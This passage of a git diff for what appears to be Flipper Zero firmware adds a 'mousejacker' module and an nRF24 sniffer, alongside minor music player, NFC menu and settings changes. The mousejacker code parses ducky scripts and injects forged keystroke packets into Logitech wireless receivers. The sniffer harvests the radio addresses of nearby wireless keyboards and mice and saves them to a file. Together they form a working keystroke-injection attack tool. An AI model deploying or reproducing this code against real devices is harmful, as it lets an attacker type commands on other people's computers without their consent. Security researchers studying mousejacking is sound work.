{"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2},
|
||||
{"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2},
|
||||
{"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0},
|
||||
{"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2},
|
||||
{"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0},
|
||||
{"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0},
|
||||
{"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0},
|
||||
{"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0},
|
||||
{"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0},
|
||||
{"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0},
|
||||
{"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0},
|
||||
{"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0},
|
||||
{"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0},
|
||||
{"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2},
|
||||
{"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0},
|
||||
{"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2},
|
||||
{"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0},
|
||||
{"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0},
|
||||
{"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0},
|
||||
{"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0},
|
||||
{"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0},
|
||||
{"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0},
|
||||
{"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0},
|
||||
{"F3", 60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0},
|
||||
{"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0},
|
||||
{"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
|
||||
{"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0},
|
||||
{"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0},
|
||||
{"LEFT", 80, 0}};
|
||||
|
||||
/*
|
||||
static bool mj_ducky_get_number(const char* param, uint32_t* val) {
|
||||
uint32_t value = 0;
|
||||
if(sscanf(param, "%lu", &value) == 1) {
|
||||
*val = value;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
*/
|
||||
|
||||
static uint32_t mj_ducky_get_command_len(const char* line) {
|
||||
uint32_t len = strlen(line);
|
||||
for(uint32_t i = 0; i < len; i++) {
|
||||
if(line[i] == ' ') return i;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
|
||||
//FURI_LOG_I(TAG, "looking up key %s with length %d", key, keylen);
|
||||
for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
|
||||
if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
|
||||
memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void checksum(uint8_t* payload, uint len) {
|
||||
// This is also from the KeyKeriki paper
|
||||
// Thanks Thorsten and Max!
|
||||
uint8_t cksum = 0xff;
|
||||
for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff;
|
||||
cksum = (cksum + 1) & 0xff;
|
||||
payload[len - 1] = cksum;
|
||||
}
|
||||
|
||||
static void inject_packet(
|
||||
FuriHalSpiBusHandle* handle,
|
||||
uint8_t* addr,
|
||||
uint8_t addr_size,
|
||||
uint8_t rate,
|
||||
uint8_t* payload,
|
||||
size_t payload_size) {
|
||||
uint8_t rt_count = 0;
|
||||
while(1) {
|
||||
if(nrf24_txpacket(handle, payload, payload_size, true)) break;
|
||||
|
||||
rt_count++;
|
||||
// retransmit threshold exceeded, scan for new channel
|
||||
if(rt_count > RT_THRESHOLD) {
|
||||
if(nrf24_find_channel(
|
||||
handle,
|
||||
addr,
|
||||
addr,
|
||||
addr_size,
|
||||
rate,
|
||||
LOGITECH_MIN_CHANNEL,
|
||||
LOGITECH_MAX_CHANNEL,
|
||||
true) > LOGITECH_MAX_CHANNEL)
|
||||
return; // fail
|
||||
|
||||
rt_count = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
|
||||
memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE);
|
||||
payload[2] = mod;
|
||||
payload[3] = hid;
|
||||
checksum(payload, LOGITECH_HID_TEMPLATE_SIZE);
|
||||
}
|
||||
|
||||
static void send_hid_packet(
|
||||
FuriHalSpiBusHandle* handle,
|
||||
uint8_t* addr,
|
||||
uint8_t addr_size,
|
||||
uint8_t rate,
|
||||
uint8_t mod,
|
||||
uint8_t hid) {
|
||||
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
|
||||
build_hid_packet(0, 0, hid_payload);
|
||||
if(hid == prev_hid)
|
||||
inject_packet(
|
||||
handle,
|
||||
addr,
|
||||
addr_size,
|
||||
rate,
|
||||
hid_payload,
|
||||
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
|
||||
|
||||
prev_hid = hid;
|
||||
build_hid_packet(mod, hid, hid_payload);
|
||||
inject_packet(handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE);
|
||||
furi_delay_ms(12);
|
||||
}
|
||||
|
||||
// returns false if there was an error processing script line
|
||||
static bool mj_process_ducky_line(
|
||||
FuriHalSpiBusHandle* handle,
|
||||
uint8_t* addr,
|
||||
uint8_t addr_size,
|
||||
uint8_t rate,
|
||||
char* line,
|
||||
char* prev_line) {
|
||||
MJDuckyKey dk;
|
||||
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
|
||||
char* line_tmp = line;
|
||||
uint32_t line_len = strlen(line);
|
||||
for(uint32_t i = 0; i < line_len; i++) {
|
||||
if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
|
||||
line_tmp = &line_tmp[i];
|
||||
break; // Skip spaces and tabs
|
||||
}
|
||||
if(i == line_len - 1) return true; // Skip empty lines
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "line: %s", line_tmp);
|
||||
|
||||
// General commands
|
||||
if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
|
||||
// REM - comment line
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
|
||||
// DELAY
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
uint32_t delay_val = 0;
|
||||
delay_val = atoi(line_tmp);
|
||||
if(delay_val > 0) {
|
||||
uint32_t delay_count = delay_val / 10;
|
||||
build_hid_packet(0, 0, hid_payload);
|
||||
inject_packet(
|
||||
handle,
|
||||
addr,
|
||||
addr_size,
|
||||
rate,
|
||||
hid_payload,
|
||||
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
|
||||
for(uint32_t i = 0; i < delay_count; i++) {
|
||||
inject_packet(
|
||||
handle, addr, addr_size, rate, LOGITECH_KEEPALIVE, LOGITECH_KEEPALIVE_SIZE);
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
|
||||
// STRING
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
for(size_t i = 0; i < strlen(line_tmp); i++) {
|
||||
if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;
|
||||
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
}
|
||||
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
|
||||
// REPEAT
|
||||
uint32_t repeat_cnt = 0;
|
||||
if(prev_line == NULL) return false;
|
||||
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
repeat_cnt = atoi(line_tmp);
|
||||
if(repeat_cnt < 2) return false;
|
||||
|
||||
FURI_LOG_I(TAG, "repeating %s %d times", prev_line, repeat_cnt);
|
||||
for(uint32_t i = 0; i < repeat_cnt; i++)
|
||||
mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL);
|
||||
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
|
||||
strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
|
||||
strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
|
||||
strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
|
||||
strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 2, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
|
||||
strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid);
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
|
||||
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
|
||||
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
|
||||
strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
|
||||
strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
|
||||
if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
|
||||
if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
|
||||
strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
|
||||
if(!mj_get_ducky_key("UP", 2, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
|
||||
strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
|
||||
if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
|
||||
strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
|
||||
if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(
|
||||
strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
|
||||
strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
|
||||
if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
} else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
|
||||
if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
|
||||
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void mj_process_ducky_script(
|
||||
FuriHalSpiBusHandle* handle,
|
||||
uint8_t* addr,
|
||||
uint8_t addr_size,
|
||||
uint8_t rate,
|
||||
char* script) {
|
||||
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
|
||||
char* prev_line = NULL;
|
||||
|
||||
inject_packet(handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE);
|
||||
char* line = strtok(script, "\n");
|
||||
while(line != NULL) {
|
||||
if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;
|
||||
|
||||
if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line))
|
||||
FURI_LOG_I(TAG, "unable to process ducky script line: %s", line);
|
||||
|
||||
prev_line = line;
|
||||
line = strtok(NULL, "\n");
|
||||
}
|
||||
build_hid_packet(0, 0, hid_payload);
|
||||
inject_packet(
|
||||
handle,
|
||||
addr,
|
||||
addr_size,
|
||||
rate,
|
||||
hid_payload,
|
||||
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet at end
|
||||
}
|
31
applications/mousejacker/mousejacker_ducky.h
Normal file
31
applications/mousejacker/mousejacker_ducky.h
Normal file
|
@ -0,0 +1,31 @@
|
|||
#pragma once
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <furi_hal_spi.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <nrf24.h>
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
char* name;
|
||||
uint8_t hid;
|
||||
uint8_t mod;
|
||||
} MJDuckyKey;
|
||||
|
||||
void mj_process_ducky_script(
|
||||
FuriHalSpiBusHandle* handle,
|
||||
uint8_t* addr,
|
||||
uint8_t addr_size,
|
||||
uint8_t rate,
|
||||
char* script);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
|
@ -30,7 +30,7 @@ typedef struct {
|
|||
|
||||
typedef struct {
|
||||
MusicPlayerModel* model;
|
||||
FuriMutex** model_mutex;
|
||||
FuriMutex* model_mutex;
|
||||
|
||||
FuriMessageQueue* input_queue;
|
||||
|
||||
|
@ -256,7 +256,7 @@ MusicPlayer* music_player_alloc() {
|
|||
instance->model = malloc(sizeof(MusicPlayerModel));
|
||||
memset(instance->model->duration_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE);
|
||||
memset(instance->model->semitone_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE);
|
||||
instance->model->volume = 3;
|
||||
instance->model->volume = 1;
|
||||
|
||||
instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
||||
|
||||
|
|
|
@ -79,7 +79,7 @@ static int32_t music_player_worker_thread_callback(void* context) {
|
|||
furi_hal_speaker_stop();
|
||||
furi_hal_speaker_start(frequency, volume);
|
||||
while(instance->should_work && furi_get_tick() < next_tick) {
|
||||
volume *= 0.9945679;
|
||||
volume *= 1.0000000;
|
||||
furi_hal_speaker_set_volume(volume);
|
||||
furi_delay_ms(2);
|
||||
}
|
||||
|
|
|
@ -26,7 +26,7 @@ void nfc_scene_mf_ultralight_unlock_menu_on_enter(void* context) {
|
|||
nfc);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Auth As Ameebo",
|
||||
"Auth As Am11bo",
|
||||
SubmenuIndexMfUlUnlockMenuAmeebo,
|
||||
nfc_scene_mf_ultralight_unlock_menu_submenu_callback,
|
||||
nfc);
|
||||
|
|
|
@ -46,16 +46,18 @@ const char* const volume_text[VOLUME_COUNT] = {
|
|||
};
|
||||
const float volume_value[VOLUME_COUNT] = {0.0f, 0.25f, 0.5f, 0.75f, 1.0f};
|
||||
|
||||
#define DELAY_COUNT 6
|
||||
#define DELAY_COUNT 8
|
||||
const char* const delay_text[DELAY_COUNT] = {
|
||||
"1s",
|
||||
"5s",
|
||||
"10s",
|
||||
"15s",
|
||||
"30s",
|
||||
"60s",
|
||||
"90s",
|
||||
"120s",
|
||||
};
|
||||
const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 15000, 30000, 60000, 120000};
|
||||
const uint32_t delay_value[DELAY_COUNT] = {1000, 5000, 10000, 15000, 30000, 60000, 90000, 120000};
|
||||
|
||||
#define VIBRO_COUNT 2
|
||||
const char* const vibro_text[VIBRO_COUNT] = {
|
||||
|
|
10
applications/nrfsniff/application.fam
Normal file
10
applications/nrfsniff/application.fam
Normal file
|
@ -0,0 +1,10 @@
|
|||
App(
|
||||
appid="nrf_sniff",
|
||||
name="[NRF24] Sniffer",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="nrfsniff_app",
|
||||
cdefines=["APP_NRFSNIFF"],
|
||||
requires=["gui"],
|
||||
stack_size=2 * 1024,
|
||||
order=70,
|
||||
)
|
417
applications/nrfsniff/nrfsniff.c
Normal file
417
applications/nrfsniff/nrfsniff.c
Normal file
|
@ -0,0 +1,417 @@
|
|||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_spi.h>
|
||||
#include <furi_hal_interrupt.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <nrf24.h>
|
||||
#include <toolbox/stream/file_stream.h>
|
||||
|
||||
#define LOGITECH_MAX_CHANNEL 85
|
||||
#define COUNT_THRESHOLD 4
|
||||
#define SAMPLE_TIME 20000
|
||||
|
||||
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
|
||||
#define NRFSNIFF_APP_FILENAME "addresses.txt"
|
||||
#define TAG "nrfsniff"
|
||||
|
||||
typedef enum {
|
||||
EventTypeTick,
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} PluginEvent;
|
||||
|
||||
typedef struct {
|
||||
int x;
|
||||
int y;
|
||||
} PluginState;
|
||||
|
||||
char rate_text_fmt[] = "Transfer rate: %dMbps";
|
||||
char channel_text_fmt[] = "Channel: %d";
|
||||
char preamble_text_fmt[] = "Preamble: %02X";
|
||||
char sniff_text_fmt[] = "Sniffing: %s";
|
||||
char addresses_header_text[] = "Address,rate";
|
||||
char sniffed_address_fmt[] = "%s,%d";
|
||||
char rate_text[46];
|
||||
char channel_text[42];
|
||||
char preamble_text[14];
|
||||
char sniff_text[38];
|
||||
char sniffed_address[14];
|
||||
|
||||
uint8_t target_channel = 0;
|
||||
uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps)
|
||||
uint8_t target_preamble[] = {0xAA, 0x00};
|
||||
uint8_t sniffing_state = false;
|
||||
char top_address[12];
|
||||
|
||||
uint8_t candidates[100][5] = {0}; // top 100 recurring addresses
|
||||
uint32_t counts[100];
|
||||
uint8_t total_candidates = 0;
|
||||
uint8_t last_cleanup_idx = 101; // avoid replacing the last replaced addr
|
||||
|
||||
static int get_addr_index(uint8_t* addr, uint8_t addr_size) {
|
||||
for(int i = 0; i < total_candidates; i++) {
|
||||
uint8_t* arr_item = candidates[i];
|
||||
if(!memcmp(arr_item, addr, addr_size)) return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
static uint32_t get_addr_count(uint8_t* addr, uint8_t addr_size)
|
||||
{
|
||||
return counts[get_addr_index(addr, addr_size)];
|
||||
}
|
||||
*/
|
||||
|
||||
static uint8_t get_lowest_idx() {
|
||||
uint32_t lowest = 10000;
|
||||
uint8_t lowest_idx = 0;
|
||||
for(uint8_t i = 0; i < total_candidates; i++) {
|
||||
if(i == last_cleanup_idx) continue;
|
||||
|
||||
if(counts[i] < lowest) {
|
||||
lowest = counts[i];
|
||||
lowest_idx = i;
|
||||
}
|
||||
}
|
||||
last_cleanup_idx = lowest_idx;
|
||||
return lowest_idx;
|
||||
}
|
||||
|
||||
static uint8_t get_highest_idx() {
|
||||
uint32_t highest = 0;
|
||||
uint8_t highest_idx = 0;
|
||||
for(uint8_t i = 0; i < total_candidates; i++) {
|
||||
if(counts[i] > highest) {
|
||||
highest = counts[i];
|
||||
highest_idx = i;
|
||||
}
|
||||
}
|
||||
|
||||
return highest_idx;
|
||||
}
|
||||
|
||||
static void insert_addr(uint8_t* addr, uint8_t addr_size) {
|
||||
uint8_t idx = total_candidates;
|
||||
if(total_candidates > 99) {
|
||||
// replace addr with lowest count
|
||||
idx = get_lowest_idx();
|
||||
}
|
||||
memcpy(candidates[idx], addr, addr_size);
|
||||
counts[idx] = 1;
|
||||
if(total_candidates < 100) total_candidates++;
|
||||
}
|
||||
|
||||
static void render_callback(Canvas* const canvas, void* ctx) {
|
||||
uint8_t rate = 2;
|
||||
char sniffing[] = "Yes";
|
||||
|
||||
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(plugin_state == NULL) {
|
||||
return;
|
||||
}
|
||||
// border around the edge of the screen
|
||||
canvas_draw_frame(canvas, 0, 0, 128, 64);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
if(target_rate == 0) rate = 1;
|
||||
|
||||
if(!sniffing_state) strcpy(sniffing, "No");
|
||||
|
||||
snprintf(rate_text, sizeof(rate_text), rate_text_fmt, (int)rate);
|
||||
snprintf(channel_text, sizeof(channel_text), channel_text_fmt, (int)target_channel);
|
||||
snprintf(preamble_text, sizeof(preamble_text), preamble_text_fmt, target_preamble[0]);
|
||||
snprintf(sniff_text, sizeof(sniff_text), sniff_text_fmt, sniffing);
|
||||
snprintf(
|
||||
sniffed_address, sizeof(sniffed_address), sniffed_address_fmt, top_address, (int)rate);
|
||||
canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text);
|
||||
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, channel_text);
|
||||
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text);
|
||||
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text);
|
||||
canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text);
|
||||
canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address);
|
||||
|
||||
release_mutex((ValueMutex*)ctx, plugin_state);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void hexlify(uint8_t* in, uint8_t size, char* out) {
|
||||
memset(out, 0, size * 2);
|
||||
for(int i = 0; i < size; i++)
|
||||
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
|
||||
}
|
||||
|
||||
static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) {
|
||||
size_t file_size = 0;
|
||||
uint8_t linesize = 0;
|
||||
char filepath[42] = {0};
|
||||
char addrline[14] = {0};
|
||||
char ending[4];
|
||||
uint8_t* file_contents;
|
||||
uint8_t rate = 1;
|
||||
Stream* stream = file_stream_alloc(storage);
|
||||
|
||||
if(target_rate == 8) rate = 2;
|
||||
snprintf(ending, sizeof(ending), ",%d\n", rate);
|
||||
hexlify(data, size, addrline);
|
||||
strcat(addrline, ending);
|
||||
linesize = strlen(addrline);
|
||||
strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER);
|
||||
strcat(filepath, "/");
|
||||
strcat(filepath, NRFSNIFF_APP_FILENAME);
|
||||
stream_seek(stream, 0, StreamOffsetFromStart);
|
||||
|
||||
// check if address already exists in file
|
||||
if(file_stream_open(stream, filepath, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
bool found = false;
|
||||
file_size = stream_size(stream);
|
||||
stream_seek(stream, 0, StreamOffsetFromStart);
|
||||
if(file_size > 0) {
|
||||
file_contents = malloc(file_size + 1);
|
||||
memset(file_contents, 0, file_size + 1);
|
||||
if(stream_read(stream, file_contents, file_size) > 0) {
|
||||
char* line = strtok((char*)file_contents, "\n");
|
||||
|
||||
while(line != NULL) {
|
||||
if(!memcmp(line, addrline, 12)) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
line = strtok(NULL, "\n");
|
||||
}
|
||||
}
|
||||
free(file_contents);
|
||||
}
|
||||
stream_free(stream);
|
||||
if(found) return false;
|
||||
|
||||
stream = file_stream_alloc(storage);
|
||||
stream_seek(stream, 0, StreamOffsetFromStart);
|
||||
}
|
||||
|
||||
// save address to file
|
||||
if(!file_stream_open(stream, filepath, FSAM_WRITE, FSOM_OPEN_APPEND))
|
||||
FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath);
|
||||
if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize)
|
||||
FURI_LOG_I(TAG, "failed to write bytes to file stream");
|
||||
|
||||
FURI_LOG_I(TAG, "save successful");
|
||||
stream_free(stream);
|
||||
return true;
|
||||
}
|
||||
|
||||
void alt_address(uint8_t* addr, uint8_t* altaddr) {
|
||||
uint8_t macmess_hi_b[4];
|
||||
uint32_t macmess_hi;
|
||||
uint8_t macmess_lo;
|
||||
uint8_t preserved;
|
||||
uint8_t tmpaddr[5];
|
||||
|
||||
// swap bytes
|
||||
for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i];
|
||||
|
||||
// get address into 32-bit and 8-bit variables
|
||||
memcpy(macmess_hi_b, tmpaddr, 4);
|
||||
macmess_lo = tmpaddr[4];
|
||||
|
||||
macmess_hi = bytes_to_int32(macmess_hi_b, true);
|
||||
|
||||
//preserve lowest bit from hi to shift to low
|
||||
preserved = macmess_hi & 1;
|
||||
macmess_hi >>= 1;
|
||||
macmess_lo >>= 1;
|
||||
macmess_lo = (preserved << 7) | macmess_lo;
|
||||
int32_to_bytes(macmess_hi, macmess_hi_b, true);
|
||||
memcpy(tmpaddr, macmess_hi_b, 4);
|
||||
tmpaddr[4] = macmess_lo;
|
||||
|
||||
// swap bytes back
|
||||
for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i];
|
||||
}
|
||||
|
||||
static void wrap_up(Storage* storage) {
|
||||
uint8_t ch;
|
||||
uint8_t addr[5];
|
||||
uint8_t altaddr[5];
|
||||
char trying[12];
|
||||
uint8_t idx;
|
||||
uint8_t rate = 0;
|
||||
if(target_rate == 8) rate = 2;
|
||||
|
||||
nrf24_set_idle(nrf24_HANDLE);
|
||||
|
||||
while(true) {
|
||||
idx = get_highest_idx();
|
||||
if(counts[idx] < COUNT_THRESHOLD) break;
|
||||
|
||||
counts[idx] = 0;
|
||||
memcpy(addr, candidates[idx], 5);
|
||||
hexlify(addr, 5, trying);
|
||||
FURI_LOG_I(TAG, "trying address %s", trying);
|
||||
ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
|
||||
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
|
||||
if(ch > LOGITECH_MAX_CHANNEL) {
|
||||
alt_address(addr, altaddr);
|
||||
hexlify(altaddr, 5, trying);
|
||||
FURI_LOG_I(TAG, "trying alternate address %s", trying);
|
||||
ch = nrf24_find_channel(
|
||||
nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
|
||||
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
|
||||
